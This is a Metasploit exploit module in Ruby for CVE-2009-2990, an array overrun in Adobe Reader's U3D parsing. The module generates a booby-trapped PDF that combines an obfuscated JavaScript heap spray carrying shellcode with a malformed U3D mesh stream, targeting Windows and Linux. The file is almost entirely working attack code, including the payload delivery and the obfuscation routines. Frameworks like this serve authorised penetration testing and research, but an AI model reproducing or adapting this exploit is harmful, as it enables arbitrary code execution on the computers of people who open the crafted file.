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1
##
2
# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'zlib'
7

8
class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
10

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  include Msf::Exploit::FILEFORMAT
12

13
  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
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      'Description'    => %q{
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          This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
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        Affected versions include < 7.1.4, < 8.1.7, and < 9.2. By creating a
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        specially crafted pdf that a contains malformed U3D data, an attacker may
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        be able to execute arbitrary code.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
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          'jduck'
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        ],
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      'References'     =>
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        [
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          [ 'CVE', '2009-2990' ],
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          [ 'OSVDB', '58920' ],
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          [ 'BID', '36665' ],
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          [ 'URL', 'http://sites.google.com/site/felipeandresmanzano/' ],
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          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-15.html' ]
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Payload'        =>
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        {
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          'Space'         => 1024,
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          'BadChars'      => "\x00",
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          'DisableNops'	 => true
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        },
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      'Platform'       => %w{ win linux },
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      'Targets'        =>
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        [
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          # test results (on Windows XP SP3)
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          # reader 7.0.5 - untested
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          # reader 7.0.8 - untested
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          # reader 7.0.9 - untested
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          # reader 7.1.0 - untested
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          # reader 7.1.1 - untested
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          # reader 8.0.0 - untested
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          # reader 8.1.2 - works
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          # reader 8.1.3 - works
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          # reader 8.1.4 - untested
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          # reader 8.1.5 - untested
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          # reader 8.1.6 - untested
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          # reader 9.0.0 - untested
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          # reader 9.1.0 - works
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          [ 'Adobe Reader Windows Universal (JS Heap Spray)',
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            {
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              'Index'		=> 0x01d10000,
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              'Platform'	=> 'win',
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              'Arch'		=> ARCH_X86,
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              'escA'		=> 0x0f0f0f0f,
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              'escB'		=> 0x16161616,
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              'escC'		=> 0x1c1c1c1c
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            }
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          ],
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          # untested
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          [ 'Adobe Reader Linux Universal (JS Heap Spray)',
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            {
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              'Index'		=> 0xfffffe3c,
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              'Platform'	=> 'linux',
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              'Arch'		=> ARCH_X86,
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              'escA'		=> 0x75797959,
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              'escB'		=> 0xa2a2a2a2,
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              'escC'		=> 0x9c9c9c9c
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            }
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          ]
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        ],
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      'DisclosureDate' => '2009-10-13',
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      'DefaultTarget'  => 0))
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89
    register_options(
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      [
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        OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
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      ])
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94
  end
95

96

97

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  def exploit
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    # Encode the shellcode.
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    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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102
    # Make some nops
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    nops    = Rex::Text.to_unescape(make_nops(4))
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    # prepare the pointers!
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    ptrA = Rex::Text.to_unescape([target['escA']].pack('V'), Rex::Arch.endian(target.arch))
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    ptrB = Rex::Text.to_unescape([target['escB']].pack('V'), Rex::Arch.endian(target.arch))
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    ptrC = Rex::Text.to_unescape([target['escC']].pack('V'), Rex::Arch.endian(target.arch))
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110
    script = <<-EOF
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var nopz = unescape("#{nops}");
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function mkSlice(stringy,size,rest){
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  while (stringy.length <= size/2)
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    stringy += stringy;
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  stringy = stringy.substring(0, size/2 -32/2 -4/2 - rest -2/2);
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  return stringy;
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};
118

119
function spray(escA,escB,escC,escShellcode){
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  var loop1;
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  var pointersA = unescape(escA);
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  var pointersB = unescape(escB);
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  var pointersC = unescape(escC);
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  var shellcode = unescape(escShellcode);
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126
  pointersA_slide=mkSlice(pointersA,0x100000, pointersA.length);
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  pointersB_slide=mkSlice(pointersB,0x100000, pointersB.length);
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  pointersC_slide=mkSlice(pointersC,0x100000, pointersC.length);
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  nop_slide = mkSlice(nopz,0x100000, shellcode.length);
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  var xarr = new Array();
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  for (loop1 = 0; loop1 < 400; loop1++) {
132
    if(loop1<100)
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      xarr[loop1] = pointersA_slide+pointersA;
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    else if(loop1<200)
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      xarr[loop1] = pointersB_slide+pointersB;
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    else if(loop1<300)
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      xarr[loop1] = pointersC_slide+pointersC;
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    else
139
      xarr[loop1] = nop_slide+shellcode;
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    }
141
    return xarr;
142
  };
143
  var memoryz = spray("#{ptrA}","#{ptrB}","#{ptrC}","#{shellcode}");
144
  this.pageNum = 1;
145
EOF
146

147
    # Obfuscate it up a bit
148
    script = obfuscate_js(script,
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      'Symbols' => {
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        'Variables' => %W{ pointersA_slide pointersA escA pointersB_slide pointersB escB pointersC_slide pointersC escC escShellcode nop_slide shellcode stringy size rest nopz loop1 xarr memoryz },
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        'Methods' => %W{ mkSlice spray }
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      }).to_s
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    # create the u3d stuff
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    u3d = make_u3d_stream(target['Index'], "E" * 11)
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157
    # Create the pdf
158
    pdf = make_pdf(script, u3d)
159

160
    print_status("Creating '#{datastore['FILENAME']}' file...")
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162
    file_create(pdf)
163
  end
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165

166
  def obfuscate_js(javascript, opts)
167
    js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
168
    js.obfuscate
169
    return js
170
  end
171

172

173
  def random_non_ascii_string(count)
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    result = ""
175
    count.times do
176
      result << (rand(128) + 128).chr
177
    end
178
    result
179
  end
180

181
  def io_def(id)
182
    "%d 0 obj\n" % id
183
  end
184

185
  def io_ref(id)
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    "%d 0 R" % id
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  end
188

189
  #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
190
  def n_obfu(str)
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192
    result = ""
193
    str.scan(/./u) do |c|
194
      if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
195
        result << "#%x" % c.unpack("C*")[0]
196
      else
197
        result << c
198
      end
199
    end
200
    result
201
  end
202

203
  def ascii_hex_whitespace_encode(str)
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    result = ""
205
    whitespace = ""
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    str.each_byte do |b|
207
      result << whitespace << "%02x" % b
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      whitespace = " " * (rand(3) + 1)
209
    end
210
    result << ">"
211
  end
212

213

214
  def u3d_pad(str, char="\x00")
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    ret = ""
216
    if (str.length % 4) > 0
217
      ret << char * (4 - (str.length % 4))
218
    end
219
    return ret
220
  end
221

222

223
  def make_u3d_stream(index, meshname)
224

225
    # build the U3D header (length will be patched in later)
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    hdr_data = [1,0].pack('n*') # version info
227
    hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
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    hdr = "U3D\x00"
229
    hdr << [hdr_data.length,0].pack('VV')
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    hdr << hdr_data
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    # mesh declaration
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    decl_data = [meshname.length].pack('v')
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    decl_data << meshname
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    decl_data << [0].pack('V') # chain idx
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    # max mesh desc
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    decl_data << [0].pack('V') # mesh attrs
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    decl_data << [0xc322].pack('V') # face count
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    decl_data << [0x6226].pack('V') # position count
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    decl_data << [0x24966].pack('V') # normal count
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    decl_data << [0].pack('V') # diffuse color count
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    decl_data << [0].pack('V') # specular color count
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    decl_data << [0].pack('V') # texture coord count
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    decl_data << [1].pack('V') # shading count
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    # shading desc
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    decl_data << [0].pack('V') # shading attr
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    decl_data << [1].pack('V') # texture layer count
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    decl_data << [0].pack('V') # texture coord dimensions
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    decl_data << [0].pack('V') # original shading id
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    # minimum resolution
251
    decl_data << [0x6226].pack('V') # final maximum resolution (needs to be bigger than the minimum)
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    # quality factors
253
    decl_data << [0x12c].pack('V') # position quality factor
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    decl_data << [0x12c].pack('V') # normal quality factor
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    decl_data << [0x12c].pack('V') # texture coord quality factor
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    # inverse quantiziation
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    decl_data << [0x3f0b1e6c].pack('V') # position inverse quant
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    decl_data << [0x3b6f05a6].pack('V') # normal inverse quant
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    decl_data << [0x3b6f05a6].pack('V') # texture coord inverse quant
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    decl_data << [0x3c2df54a].pack('V') # diffuse color inverse quant
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    decl_data << [0x3c2df54a].pack('V') # specular color inverse quant
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    # resource params
263
    decl_data << [0x3f666666].pack('V') # normal crease param
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    decl_data << [0x3f000000].pack('V') # normal update param
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    decl_data << [0x3f7c28f6].pack('V') # normal tolerance param
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    # skeleton description
267
    decl_data << [0].pack('V') # bone count
268
    # padding
269
    mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
270
    mesh_decl << decl_data
271
    mesh_decl << u3d_pad(decl_data)
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273
    # build the modifier chain
274
    chain_data = [meshname.length].pack('v')
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    chain_data << meshname
276
    chain_data << [1].pack('V') # type (model resource)
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    chain_data << [0].pack('V') # attributes (no bounding info)
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    chain_data << u3d_pad(chain_data)
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    chain_data << [1].pack('V') # number of modifiers
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    chain_data << mesh_decl
281
    modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
282
    modifier_chain << chain_data
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284
    # mesh continuation
285
    cont_data = [meshname.length].pack('v')
286
    cont_data << meshname
287
    cont_data << [0].pack('V') # chain idx
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    cont_data << [0].pack('V') # start resolution
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    cont_data << [0x1000].pack('V') # end resolution
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    # 4096 continuation blocks
291
    cont_data << [index].pack('V') # split position index
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    cont_data << [0].pack('v') # new diffuse color count
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    cont_data << [0].pack('v') # new specular color count
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    cont_data << [0].pack('v') # new text coord count
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    cont_data << [0].pack('V') # new face count
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    # unknown data
297
    cont_data << "\x07\x9c\x00\x00\x00\x37\x0c\x00\x00\xd0\x02\x00\x00\x3f\xeb\x95\x0d\x00\x00\x76"
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    cont_data << "\x05\x00\x00\xea\x15\x00\x00\xe2\x02\x00\x00\x00\x00\x00\x00\x80\x82\x22\x8e\x2f"
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    cont_data << "\xaa\x00\x00\x00\xc2\x13\x23\x00\x20\xbb\x06\x00\x80\xc2\x1f\x00\x80\x20\x00\x00"
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    cont_data << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xc0\x14\x01\x00\x20\x44"
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    cont_data << "\x0a\x00\x10\x7e\x4b\x8d\xf8\x7c\x32\x6d\x03\x00\x00\xb2\x0b\x00\x20\xfd\x19\x00"
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    cont_data << "\x20\xb6\xe9\xea\x2e\x55\x00\x00\x59\x94\x00\x00\x4c\x00\x01\x00\x1a\xbb\xa0\xc8"
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    cont_data << "\xc1\x04\x00\x70\xc4\xa0\x00\x00\x00\x6c\x98\x46\xac\x04\x00\x60\xf6\x1c\x00\x20"
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    cont_data << "\xa1\x0f\x00\xa0\x17\x66\x23\x00\x00\xde\x88\x1d\x00\x00\x7b\x16\x9f\x72\x9a\x1d"
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    cont_data << "\x15\x00\x80\xeb\x39\x00\x00\x00\x00\x00\x00\x94\xc8\x00\x00\x54\xce\xfb\x32\x00"
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    cont_data << "\x80\xc4\x3e\xb0\xc4\x88\xde\x77\x00\x00\x46\x72\x01\x00\xf0\x56\x01\x00\x8c\x53"
307
    cont_data << "\xe9\x10\x9d\x6b\x06\x00"
308
    cont_data << "\x50" # pad
309
    mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
310
    mesh_cont << cont_data
311
    #mesh_cont << u3d_pad(cont_data)
312
    mesh_cont << "\xa2\x00" # manual padding
313

314
    data = hdr
315
    data << modifier_chain
316
    data << mesh_cont
317

318
    # patch the length
319
    data[24,4] = [0x2b680].pack('V') # hardcode the data length
320

321
    if index == 0x01d10000
322
      #laziest hack ever! Another index must be found for using the following
323
      # stream in windows.. and a lot of tests shoul be done.
324
      return data
325
    end
326

327

328
    # linux version
329
    # build the U3D header (length will be patched in later)
330
    hdr_data = [1,0].pack('n*') # version info
331
    hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
332
    meta_str1 = "alalala0"
333
    meta_str2 = "\xa8" * 1024
334
    hdr_meta = [1].pack('V')
335
    hdr_meta << [meta_str1.length].pack('v')
336
    hdr_meta << meta_str1
337
    hdr_meta << [1].pack('V')
338
    hdr_meta << [meta_str2.length].pack('V')
339
    hdr_meta << meta_str2
340
    hdr = "U3D\x00"
341
    hdr << [hdr_data.length,hdr_meta.length].pack('VV')
342
    hdr << hdr_data
343
    hdr << hdr_meta
344
    hdr << u3d_pad(hdr_meta)
345

346
    # mesh declaration
347
    decl_data = [meshname.length].pack('v')
348
    decl_data << meshname
349
    decl_data << [0].pack('V') # chain idx
350
    # max mesh desc
351
    decl_data << [0].pack('V') # mesh attrs
352
    decl_data << [0xc322].pack('V') # face count
353
    decl_data << [0x6626].pack('V') # position count
354
    decl_data << [4].pack('V') # normal count
355
    decl_data << [0].pack('V') # diffuse color count
356
    decl_data << [0].pack('V') # specular color count
357
    decl_data << [0].pack('V') # texture coord count
358
    decl_data << [1].pack('V') # shading count
359
    # shading desc
360
    decl_data << [0].pack('V') # shading attr
361
    decl_data << [0].pack('V') # texture layer count
362
    decl_data << [0].pack('V') # original shading id
363
    # no texture coord dimensions
364
    decl_data << [0x64].pack('V') # minimum resolution
365
    decl_data << [0x65].pack('V') # final maximum resolution (needs to be bigger than the minimum)
366
    # quality factors
367
    decl_data << [0x12c].pack('V') # position quality factor
368
    decl_data << [0x12c].pack('V') # normal quality factor
369
    decl_data << [0x12c].pack('V') # texture coord quality factor
370
    # inverse quantiziation
371
    decl_data << [0].pack('V') # position inverse quant
372
    decl_data << [0].pack('V') # normal inverse quant
373
    decl_data << [0].pack('V') # texture coord inverse quant
374
    decl_data << [0].pack('V') # diffuse color inverse quant
375
    decl_data << [0].pack('V') # specular color inverse quant
376
    # resource params
377
    decl_data << [0].pack('V') # normal crease param
378
    decl_data << [0].pack('V') # normal update param
379
    decl_data << [0].pack('V') # normal tolerance param
380
    # skeleton description
381
    decl_data << [0].pack('V') # bone count
382
    # padding
383
    mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
384
    mesh_decl << decl_data
385
    mesh_decl << u3d_pad(decl_data)
386

387
    # build the modifier chain
388
    chain_data = [meshname.length].pack('v')
389
    chain_data << meshname
390
    chain_data << [1].pack('V') # type (model resource)
391
    chain_data << [0].pack('V') # attributes (no bounding info)
392
    chain_data << u3d_pad(chain_data)
393
    chain_data << [1].pack('V') # number of modifiers
394
    chain_data << mesh_decl
395
    modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
396
    modifier_chain << chain_data
397

398
    # mesh continuation
399
    cont_data = [meshname.length].pack('v')
400
    cont_data << meshname
401
    cont_data << [0].pack('V') # chain idx
402
    cont_data << [0].pack('V') # start resolution
403
    cont_data << [0x100].pack('V') # end resolution
404
    # 256 continuation blocks
405
    cont_data << [index].pack('V') # split position index
406
    # unknown data
407
    cont_data << [1].pack('V') * 10
408
    cont_data << "Feli" * 20
409
    mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
410
    mesh_cont << cont_data
411
    mesh_cont << u3d_pad(cont_data)
412

413
    data = hdr
414
    data << modifier_chain
415
    data << mesh_cont
416

417
    # patch the length
418
    data[24,4] = [0x174].pack('V') # hardcode the data length
419
    return data
420

421
  end
422

423
  def make_pdf(js, u3d_stream)
424

425
    xref = []
426
    eol = "\x0a"
427
    obj_end = "" << eol << "endobj" << eol
428

429
    # the header
430
    pdf = "%PDF-1.7" << eol
431

432
    # filename/comment
433
    pdf << "%" << random_non_ascii_string(4) << eol
434

435
    # js stream
436
    xref << pdf.length
437
    compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))
438
    pdf << io_def(1) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
439
    pdf << "stream" << eol
440
    pdf << compressed << eol
441
    pdf << "endstream" << eol
442
    pdf << obj_end
443

444
    # catalog
445
    xref << pdf.length
446
    pdf << io_def(3) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(4)
447
    pdf << n_obfu("/Pages ") << io_ref(5)
448
    pdf << n_obfu("/OpenAction ") << io_ref(8)
449
    pdf << n_obfu(">>")
450
    pdf << obj_end
451

452
    # outline
453
    xref << pdf.length
454
    pdf << io_def(4) << n_obfu("<</Type/Outlines/Count 0>>")
455
    pdf << obj_end
456

457
    # kids
458
    xref << pdf.length
459
    pdf << io_def(5) << n_obfu("<</Type/Pages/Count 2/Kids [")
460
    pdf << io_ref(9) << " " # empty page
461
    pdf << io_ref(10) # u3d page
462
    pdf << n_obfu("]>>")
463
    pdf << obj_end
464

465
    # u3d stream
466
    xref << pdf.length
467
    pdf << io_def(6) << n_obfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
468
    pdf << "stream" << eol
469
    pdf << u3d_stream << eol
470
    pdf << "endstream"
471
    pdf << obj_end
472

473
    # u3d annotation object
474
    xref << pdf.length
475
    pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype")
476
    pdf << "/3D/3DA <</A/PO/DIS/I>>"
477
    pdf << n_obfu("/Rect [0 0 640 480]/3DD ") << io_ref(6) << n_obfu("/F 7>>")
478
    pdf << obj_end
479

480
    # js dict
481
    xref << pdf.length
482
    pdf << io_def(8) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(1) + ">>" << obj_end
483

484
    # page 0 (empty)
485
    xref << pdf.length
486
    pdf << io_def(9) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")
487
    pdf << n_obfu(" >>")
488
    pdf << obj_end
489

490
    # page 1 (u3d)
491
    xref << pdf.length
492
    pdf << io_def(10) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")
493
    pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("]")
494
    pdf << n_obfu(">>")
495
    pdf << obj_end
496

497
    # xrefs
498
    xrefPosition = pdf.length
499
    pdf << "xref" << eol
500
    pdf << "0 %d" % (xref.length + 1) << eol
501
    pdf << "0000000000 65535 f" << eol
502
    xref.each do |index|
503
      pdf << "%010d 00000 n" % index << eol
504
    end
505

506
    # trailer
507
    pdf << "trailer" << eol
508
    pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(3) << ">>" << eol
509
    pdf << "startxref" << eol
510
    pdf << xrefPosition.to_s() << eol
511
    pdf << "%%EOF" << eol
512

513
  end
514
end
515

516